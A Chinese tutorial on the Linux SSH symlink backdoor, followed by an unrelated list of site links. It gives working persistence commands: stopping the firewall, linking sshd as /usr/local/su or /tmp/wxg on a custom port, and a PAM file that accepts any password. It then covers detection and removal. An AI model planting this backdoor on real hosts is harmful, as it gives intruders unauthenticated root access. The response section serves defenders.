当前位置: 首页 > news >正文

SSH软链接后门从入门到应急响应

目录

1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

1.2 SSH软连接后门介绍

2. 如何在已拿下控制权限的主机创建后门

2.1  使用root账户并执行ssh软链接后门命令:

2.2  连接软链接后门测试:

2.3  创建其它账户 ssh软连接后门命令

3. 如何进行应急响应

3.1 查看服务器开放的端口号

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

3.3:删除软链接后门


1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

    软链接(Symbolic Link),通常被称为“符号链接”,是一种特殊类型的文件,它包含了对另一个文件或目录的引用路径。软链接类似于 Windows 中的快捷方式。它允许你为文件或目录创建一个别名,通过这个别名可以访问原始文件或目录。

1.2 SSH软连接后门介绍

    SSH软连接后门是一种利用Linux系统中PAM(Pluggable Authentication Modules)认证机制的漏洞来实现无密码远程登录的方法。通过创建一个指向/usr/sbin/sshd的软连接,并设置特定的端口,可以绕过正常的认证机制。例如,使用命令ln -sf /usr/sbin/sshd /tmp/su创建软连接,并通过/tmp/su -oPort=1234启动SSH服务在1234端口,可以实现无密码登录。

2. 如何在已拿下控制权限的主机创建后门

2.1 使用root账户并执行ssh软链接后门命令:

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上# 直接输入下面的命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
# 解释一下这段命令
目的:  创建一个指向 /usr/sbin/sshd 的软链接,并将其命名为 /usr/local/su 然后为这个软链接设置监听端口
ln 是一个用于创建链接的命令。
-s 选项表示创建软链接(symbolic link),也称为符号链接。
-f 选项表示如果目标位置已经有了一个文件或链接,那么在创建新链接之前将其强制删除。
/usr/sbin/sshd 是源文件的路径,这里是系统中 SSH 守护进程的可执行文件。
/usr/local/su 是你想要创建的软链接的路径。

2.2 连接软链接后门测试:

此处密码可以随意

# ssh root用户  服务器的ip地址  -p +监听的端口号
ssh root@192.168.10.15 -p 12345
yes
密码随意输入,但是不能为空(也就是直接按回车)

下面通过kali进行后门连接测试

2.3 创建其它账户 ssh软连接后门命令

前提: 服务器存在普通账户wxg

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
第一步执行以下命令:
echo " #%PAM-1.0auth       sufficient   pam_rootok.soauth       include      system-authaccount    include      system-authpassword   include      system-authsession    include      system-auth " >> /etc/pam.d/wxg第二步执行开启软链接命令
ln -sf /usr/sbin/sshd /tmp/wxg;/tmp/wxg -oPort=14725# 连接方式ssh root@192.168.10.15 -p 14725

 

 

3. 如何进行应急响应

还是和之前一样先测试一下,是否可以正常连接,这里我用win来测试了,发现成功链接

 ssh root@192.168.10.15 -p 14725  指定用户,ip以及连接端口号出现输入密码,只要不为空,随便输入按回车就行了

3.1 查看服务器开放的端口号

通过不同命令发现发现服务器网络开启有12345、14725异常端口,且名字为su、wxg

# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
# 命令一
natstat -anpt
su  17502
wxg 45120
# 命令二
ss -tanp
45545
45555

发现的可疑进程都是ssh服务

# 命令一发现的可疑进程
ll /proc/17502
ll /proc/45120# 命令二发现的可疑进程
ll /proc/45554
ll /proc/45555

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

 

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门,最终确定软链接为为/usr/local/su

# 先切换到/目录,因为查找的是所有的文件
cd /
# 查找名字为su的所有文件
find -name su# 依次查看所有可疑的su文件,下面只展示其中的liang
ll /usr/share/bash-completion/completions/su
ll /usr/local/su

    不要忘了可以通过这个操作对日志进行分析,能够进一步确认攻击者的ip和用户等信息,进行后续的溯源等操作

# 登录成功的日志
more /var/log/secure | grep 'Accepted'
# 登录密码错误的日志
more /var/log/secure | grep 'Failed password'

3.3:删除软链接后门

这里需要注意的是不要用 rm -rf /usr/local/su/,如果后面多一个斜杠,就会把文件给删除

# 删除软链接
rm -rf   /usr/local/su
# 强制中断su这个进程
kill -9 17502
kill命令用于发送信号给进程。kill -9 17502 这个命令的含义是向进程ID(PID)为17502的进程发送一个信号9,即SIGKILL信号。信号是Linux系统中用于进程间通信的一种机制。信号9(SIGKILL)是一个强制终止进程的信号,它告诉操作系统立即停止该进程,不给进程清理资源或正常终止的机会。通常,SIGKILL信号不能被进程捕获或忽略,因此它是一种非常强硬的终止进程的方式。

软链接后门被清除,无法登录

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • AI创意引擎:优化Prompt提示词的高效提问技巧
  • 《深度学习》OpenCV 高阶 图像金字塔 用法解析及案例实现
  • Linux学习-ELK(一)
  • 线性代数 第六讲 特征值和特征向量_相似对角化_实对称矩阵_重点题型总结详细解析
  • 探索信号处理:使用傅里叶小波变换分析和恢复信号
  • 阿里的云盘竟然也能那么容易的泄露,可见,互联网几乎没有绝对的安全!水平越权和高并发的关系到底是什么?用户权限怎么隔离才算好? 全局拦截器怎么设计的这么垃圾?
  • 多输入多输出 | Matlab实现SSA-BP麻雀搜索算法优化BP神经网络多输入多输出预测
  • 4款数据恢复软件,包含易我数据恢复软件在内
  • oracle数据库安装和配置详细讲解
  • 基于python+django+vue的社区爱心养老管理系统
  • 【Node.js】初识 RabbitMQ
  • 短文写作竞赛系统小程序的设计
  • VSCode拉取远程项目
  • python爬虫基础:了解html
  • 国密起步7:BouncyCastle使用SM4自定义格式加解密C#版
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • 78. Subsets
  • Angular 4.x 动态创建组件
  • CentOS从零开始部署Nodejs项目
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • js
  • php中curl和soap方式请求服务超时问题
  • Python_OOP
  • Python_网络编程
  • React中的“虫洞”——Context
  • vue 个人积累(使用工具,组件)
  • Webpack 4x 之路 ( 四 )
  • 阿里云购买磁盘后挂载
  • 不发不行!Netty集成文字图片聊天室外加TCP/IP软硬件通信
  • 产品三维模型在线预览
  • 多线程事务回滚
  • 浏览器缓存机制分析
  • 使用putty远程连接linux
  • 问题之ssh中Host key verification failed的解决
  • 优秀架构师必须掌握的架构思维
  • Java数据解析之JSON
  • 组复制官方翻译九、Group Replication Technical Details
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • #HarmonyOS:基础语法
  • #mysql 8.0 踩坑日记
  • (152)时序收敛--->(02)时序收敛二
  • (2)(2.10) LTM telemetry
  • (4)logging(日志模块)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (HAL库版)freeRTOS移植STMF103
  • (ZT)一个美国文科博士的YardLife
  • (二)测试工具
  • (附源码)ssm基于微信小程序的疫苗管理系统 毕业设计 092354
  • (论文阅读11/100)Fast R-CNN
  • (十)c52学习之旅-定时器实验
  • (十八)三元表达式和列表解析
  • (十五)devops持续集成开发——jenkins流水线构建策略配置及触发器的使用
  • (四)JPA - JQPL 实现增删改查
  • (原创) cocos2dx使用Curl连接网络(客户端)